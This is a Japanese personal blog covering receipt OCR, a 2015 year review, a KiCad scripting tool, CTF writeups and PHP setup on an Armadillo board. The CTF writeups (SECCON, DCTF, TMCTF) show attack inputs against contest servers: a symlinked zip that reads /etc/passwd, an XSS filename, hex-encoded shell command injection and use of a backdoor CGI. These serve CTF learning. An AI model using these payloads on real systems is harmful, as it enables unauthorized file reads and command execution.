読者です 読者をやめる 読者になる 読者になる

レシートの画像を矩形補正してOCRにかけてみた。

レシートの写真撮ったらツイッターに何買ったかパーンって勝手に投稿されるやつおもしろいかなーとか思って適当にやった。 もう飽きたので特に頑張る気は無い。

これ活用した→ python/OpenCVでレシートみたいな四角いものを見つけてトリミングする - BlankTar

f:id:miettal:20151105223320j:plain

↓グレースケール

f:id:miettal:20151231015811j:plain

↓二値化

f:id:miettal:20151231015814j:plain

↓輪郭検出

f:id:miettal:20151231015819j:plain

↓切り抜き

f:id:miettal:20151231015823j:plain

↓グレースケール

f:id:miettal:20151231015826j:plain

↓二値化

f:id:miettal:20151231015829j:plain

OCR

gist96ca497dd2214ea4e703

↓コード

gista75d77bf65c231dc2f19

2015年を振り返って

1月

単位が足りなくて卒業できず、退学が確定した。

2月

卒業できなかったので卒業式には出れなかったが、代わりに研究室の後輩が学位授与式をやってくれた。

3月

大学院の入学手続きをした。7年間仲良くした高専の同級生とさようならした。

4月

新しい学校に入院した。そして初めての一人暮らし。

5月

台湾に行き、いろいろした。

6月

特にこれといったことが無かったが、研究室の人と神保町食肉センターを開拓し、定期的に研究室の人と肉会が開かれるようになる。

7月

インターン2箇所に受かったので、7/20あたりから2ヶ月間インターンに行った。

8月

台湾の友達が来日したので一緒にブラブラ色々まわった。

9月

インターンが終わり、それなりにぼーっとして過ごす。

10月

学校が始まった。

11月

バイトを始めた。

12月

退学はしたはものの、定期的に高専に行き共同研究を続けている。

スイッチサイエンスPCBへの発注を手助けするpythonスクリプト(KiCad python scripting)を書いた話

KiCad Advent Calendar 2015 6日目の記事です。(遅れてしまいましたが) qiita.com

概要

この間、私がスイッチサイエンスPCBで基板を発注した際、ファイル名を所定書式に変更しzipに固める作業が必要で煩雑だったので、その作業をkicadのpython scripting機能で、一部自動化しました。

※無保証

※自身環境(Linux daily build)以外未検証

※詳細を書く気が起きたら書く。質問大歓迎。

スイッチサイエンスPCB

最近、スイッチサイエンスが始めたPCBサービスです。 5cm x 5cm以内2層基板が10枚約1500円で送料約1000円と合わせても1枚約250円程度と格安! 所定書式のファイル名でガーバー、ドリルデータを保存し、zipに固めて、それをWebページにて投稿し、発注する方式です。

https://www.switch-science.com/pcborder/www.switch-science.com

KiCad Python scripting

KiCadにはPython scriptingという、マクロ機能?を含んでいて、一部作業を自動化出来ます。 今回使った、保存機能以外にも配線、パッドを作ったり、配置したりすることも出来ます。

↓公式コード github.com

↓公式リファレンス

http://ci.kicad-pcb.org/job/kicad-doxygen/ws/build/pcbnew/doxygen-python/html/index.htmlci.kicad-pcb.org

↓今回参考にしたソースコードAPIが変更されており、そのままでは動かない)

https://lists.launchpad.net/kicad-developers/msg10233.htmllists.launchpad.net

使い方

  1. https://gist.github.com/miettal/f7a41c6e6834edfa9ceb からスクリプトをダウンロード
  2. pcbnewからMenu->Tools->Scripting Consoleをクリック f:id:miettal:20151207203436p:plain
  3. Scripting Consoleで先ほどダウンロードしたスクリプトをimportし、convert()を実行 f:id:miettal:20151207215334p:plain
  4. プロジェクトのディレクトリにswitch science pcb用のzipファイルができる!!!

f:id:miettal:20151207203637p:plain

ソースコード

gist.github.com

SECCON 2015 Online CTF writeup

yozakuraというチームで参加した。

6問解いた。

Fragment2

Decode me
fragment2.pcap

pcapを見てみると、TCPのパケットが1個。 srcportが80なのと、filterの条件がhttp2だったので、wiresharkのdecode as http2をするとhttp2のレスポンスデータが見れる。なにやらよくわからないバイナリのフィールドがあるので、適当にググッて見つけたhpack decoderにかけると、flagが出てくる。

gist49b8ad5c68adb302698e

Entry form

http://entryform.pwn.seccon.jp/register.cgi
( Do not use your real mail address.)
(登録情報に他人に知られたくないメールアドレスは使用しないでください)

メールアドレスとユーザー名を登録するフォームがある。 index pageにアクセスすると、register.cgi_bakというソースがあるのでそれを見る。 ソースにlogの中身がflagだと書かれている。 mail addressがshelexecにぶっこまれているので、ls(backdoor123.cgi)するとregister.cgi, register.cgi_bak, log, SECRETというファイル、ディレクトリがみれた。 cat log(backdoor123.cgi)するとパーミッションがない。 ls SECRETすると、backdoor123.cgiがあり、見るとcmdパラメータを渡して叩くとshellexecしてくれる(しかも権限もあるっぽい)。 cat log(backdoor123.cgi)するとflagが出てくる。

Exec dmesg

秘密のメッセージをLinuxのisoイメージの中から見つけてください。
image.zip

zipの中にtiny core linuxのisoイメージあり。 virtual box から起動してdmesgを打っても、applet not found。 x86 busybox binaryをwgetして(https://busybox.net/downloads/binaries/latest/)、./busybox dmesgしたらflagが出てくる。

Steganography 1

Find image files in the file
MrFusion.gpjb
Please input flag like this format-->SECCON{*** ** **** ****}

バイナリエディタで見てみると、画像ファイルがたくさん連結している。bzのビットマップ表示でファイルの境界を見つけて、magic numberとか見つけて切り出す。(bmp, jpeg, gifなど) すると、flagが出てくる。 (他の人のwriteup見たら、foremostコマンドが便利らしい)

Steganography 3

We can get desktop capture!
Read the secret message.
desktop_capture.png

デスクトップのキャプチャに成功した!
秘密のメッセージを読み取ってほしい
desktop_capture.png

バイナリエディタでelfバイナリが表示されているので、OCRに掛けてelfバイナリを作る。 実行すると、base64 textが出てくる。 base64 decodeすると、英語で塗りつぶせと出てくる。 画像のバイナリエディタの白いところを黒で塗りつぶすと、flagが出てくる。

面白い問題だった。 チームメンバ ponty と倒した。

4042

Unknown document is found in ancient ruins, in 2005.
Could you figure out what is written in the document?
no-network.txt

謎の文章が2005年に古代遺跡から発見された。
これは何を意味している?
no-network.txt

テキストは、0から7の数字が3093文字。 2005年→utf9。 0~7の数字→3bit binary。 3文字→9bit binary。 なのでutf9 textなんだとおもう。 rfcの通りにutf9からucs4へ変換させるとflag発見。

チームメンバtkkと倒した。

gist38bd9f07baa80a0e18a2

DCTF 2015 Writeup

yozakuraというチームで参加した。

web200

zipファイルをアップロードすると、展開して個々のファイルをダウンロードできるwebサービス

html内に思わせぶりなphpコメントが入っていた。 どうやらdctfユーザーのシェル名を取得してるっぽい。

<? $shell = shell_exec("getent passwd dctf | cut -d: -f7"); ?>

zipファイルにシンボリックリンクをアップロードするとサーバー上の任意のファイルをダウンロードできた(ディレクトリトラバーサル)。 試しにシェル名(/etc/passwd)をとってみると、Flag発見。

ln -s /etc/passwd passwd
zip -r showpasswd.zip passwd
wget http://example.com/?id=hoge&file=./passwd
cat passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  libuuid:x:100:101::/var/lib/libuuid:
  sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
  syslog:x:102:105::/home/syslog:/bin/false
  ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
  mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false
  dctf:x:65533:65533:DCTF,,,:/nonexistent:/DCTF{28fad39245bc57404263540e94f417d8}
cat passwd | grep dctf | cut -d: -f7
  /DCTF{28fad39245bc57404263540e94f417d8}

また、ファイル名をjavascriptのプログラムにすることで、jsを実行できた(XSS)。 が、Flagとは関係なかった。

mkdir "<script>alert("XSS");<"
cd "<script>alert("XSS");<"
touch "script>"
cd ..
zip xss.zip "<script>alert("XSS");</script>"

web400

画像が4枚表示されているwebページ それぞれの画像は

http://example.com/image?id=1&usr=1
http://example.com/image?id=2&usr=2
http://example.com/image?id=3&usr=3
http://example.com/image?id=4&usr=4

というふうに、idとuserをgetで渡して取得している。

idやusrに数値以外を送ると怒られるが、1〜4以外の数値を送ると、file not found的なシェルで実行したようなテキストが出てきた。 また、12.34や0x41を送ると、12.34やA(0x41のASCII対応文字)が表示され、任意のシェルを実行できた(OSコマンドインジェクション)。 試しに、lsをしてみるとテキストファイルが現れ、catするとFlagがあった。

wget http://example.com/image?id=0x3b6c733b&usr=1 # <= python ";ls;".encode("hex")
  6e8218531e0580b6754b3e3be5252873.txt
  images
  index.php
wget http://example.com/image?id=3b6361742036653832313835333165303538306236373534623365336265353235323837332e7478743b&usr=! # <= python ";cat 6e8218531e0580b6754b3e3be5252873.txt;".encode("hex")
DCTF{19b1f9f19688da85ec52a735c8da0dd3}

misc100

壊れたpng画像

チェックサムが壊れているっぽいが直しても、意味不明な画像。 ぱっとみ、横幅がずれてるっぽい。

PNG を自力で読んで表示しよう その1 http://hoshi-sano.hatenablog.com/entry/2013/08/18/112550

processingでpng画像をパースして表示するプログラムがあったので、 試しに、ヘッダの情報を無視して横幅とかを適当に変えてみたところFlagが現れた。

vi misc100.pde
  imageInfo.imageWidth = 891;//追記
  imageInfo.imageHeight = 550;//追記
  int rowHead = (i * (imageInfo.imageWidth * 3));//変更

f:id:miettal:20151006105111p:plain

processingはアニメーション表示が可能なので、少しずつ横幅を変えて表示、 みたいなことができるので良かった。

misc350

チームのみんなと一緒に解いた。

  1. dnsのリクエストが来るので応答
  2. メールが来るのでsmtpで応答

    sudo nc -l 25 HELO ...

  3. メールの添付ファイルにpcapがある

  4. pcapの中にsmbプロトコルの通信がある
  5. smpプロトコル通信の中にzipがある(wiresharkでエクスポート)
  6. zipの中に大量gifがある
  7. それぞれのgifexifのcamera model nameにbase64文字列の断片がある

    exiftool alien.gif

    Camera Model Name : gAAAAAAAAAEAD9QQAAAABzb2wvVVQFAAPdEA9WdXgLAAEE6AMAAAToAwAAUEsBAh4

  8. gifを時間別にソートし、base64文字列を結合しデコードするとzipがある

    ls -rt1 *gif | xargs exiftool | grep Ca | awk '{print $5;}' | base64 --decode > a.zip

  9. zipの中にflagというテキストがある

    cat flag

    DCTF{e4045481e906132b24c173c5ee52cd1e}

misc200

解けず

gunzip misc200.part0.jpg.gz
file misc200.part0.jpg
  misc200.part0.jpg: x86 boot sector, code offset 0x52, OEM-ID "NTFS    ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 120, dos < 4.0 BootSector (0x80)
ntfsundelete misc200.part0.jpg
  65 FN.. 100% 2015-10-04 63872 part0.zip
ntfsundelete misc200.part0.jpg -u -m part0.zip
unzip part0.zip
  Archive:  part0.zip
    inflating: 3pm.redrah-yrt
mv 3pm.redrah-yrt try-harded.mp3
exiftool try-harder.mp3
  Comment (xxx)                   : aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbA
exiftool try-harder.mp3 | grep Comment | grep xxx | awk '{ print $4; }' | base64 --decode
  http://dctf.def.camp/__dnld__2015__/part1.html
wget http://dctf.def.camp/__dnld__2015__/part1.html

ここで、タブとスペースが入り混じった自然なhtmlテキストが得られ、 それを01に対応させることで文字列が出てくるのだが、自分のプログラムにミスがあって、 文字列にならなくて積んでた。

misc400

Captcha 1337問

失敗したらやり直し、リロードは可能 文字はアルファベット(大文字のみ)と数字

プログラムを作成。 opencvで簡単なテンプレートマッチングを行う。 リロードはできるので、もし文字を検出できなかったらリロードして再度テンプレートマッチングを行う。

misc200.py

analysis.py

f:id:miettal:20151006105728p:plain

グレースケール化

f:id:miettal:20151006105733p:plain

ヒストグラムの値をベースにしきい値ぎめ、二値化

f:id:miettal:20151006105737p:plain

1文字ずつ用意したテンプレート画像とマッチング

f:id:miettal:20151006105741p:plain

1337/1337 in a row!
Good job, the flag is: DCTF{6b91e112ee0332616a5fe6cc321e48f1}

TMCTF 2015 Writeup

cho_ru_ruというチームで @cho_ru_ru @am_yum_ と参加した。

Analysis Others 100

cho_ru_ruがxref tableが壊れていると言っていたので、PDF Stream Dumperで見てみたところ、base64な画像っぽいデータを見つけ、復号化したらjpegファイルになった。

f:id:miettal:20150928131325p:plain

f:id:miettal:20150928131344j:plain

Crypto 500

ゴリ押しで適当にランダム文字列を回しまくって見つけた。

gist8d7ef097fcd7adfb5efd

Programming 100

JSでChrome拡張として書いた。Canvasにコピーして画素値を読む感じ。

gistaa08d7f001b6e473a117

Programming 200

基本bcに丸投げ、ローマ数字とか英単語文字はネットで変換するスクリプト拾って、書き換え。

gist93dfd504521b3e45771e

Analysis Defensive300

解けず。PoisinIvyの通信っぽかったので、Camellia(パスワードadmin)で復号化したところでストップ。

ArmadilloでPHPを使う方法

アットマークテクノ(Atmark Techno) A4200-U00Z

アットマークテクノ(Atmark Techno) A4200-U00Z

ターゲットボードはArmadillo420,開発環境はATDE4を想定.

標準でlighttpdが動いているのでCGIPHPを使う. 最初はバイナリパッケージをダウンロードして配置していたんだけど、プログラム容量が足りなくなってしまったので、自前でビルドすることにした。

まずダウンロード,展開し,パッチを当て、ビルドし、romfsに配置する.

build_php5-cgi_for_armadillo.sh

    cp cross-root/bin/php-cgi atmark-dist/romfs/usr/bin/php

次に,依存ライブラリをxaptで入れる.これら依存ライブラリはatmark-dist(ulinux)が自動でしてくれるので,自分で配置する必要はない.

    sudo xapt --arch armel --suite squeeze --mirror http://ftp.jp.debian.org/debian¥
      libbz2-1.0 libcomerr2 libdb4.8 libgssapi-krb5-2 libk5crypto3 libkrb5-3 libmagic1¥
      libonig2 libpcre3 libqdbm14 libxml2 mime-support php5-common tzdata ucf zlib1g

最後に,lighttpdの設定(コメントアウト)をし,/tmpに権限を与える.

    vi atmark-dist/vendors/AtmarkTechno/fogcontroller-product/etc/lighttpd.conf
      "mod_fastcgi",

      cgi.fix_pathinfo = 1 in the php.ini
      fastcgi.server = ( ".php" =>
                         ( "localhost" =>
                           (
                             "socket" => "/tmp/php-fastcgi.socket",
                             "bin-path" => "/usr/bin/php"
                           )
                         )
                       )
    echo "#!/bin/sh\nchmod 777 tmp\n" > atmark-dist/romfs/etc/rc.d/S69permittmp

今回は,テストのためにphpinfoを出力するだけのサンプルプログラムを置く.

    echo "<?\nphpinfo();\n?>" > atmark-dist/romfs/home/www-data

プログラムを書込み,動作を確認する.

    firefox http://192.168.0.3/test.php

f:id:miettal:20150616080500p:plain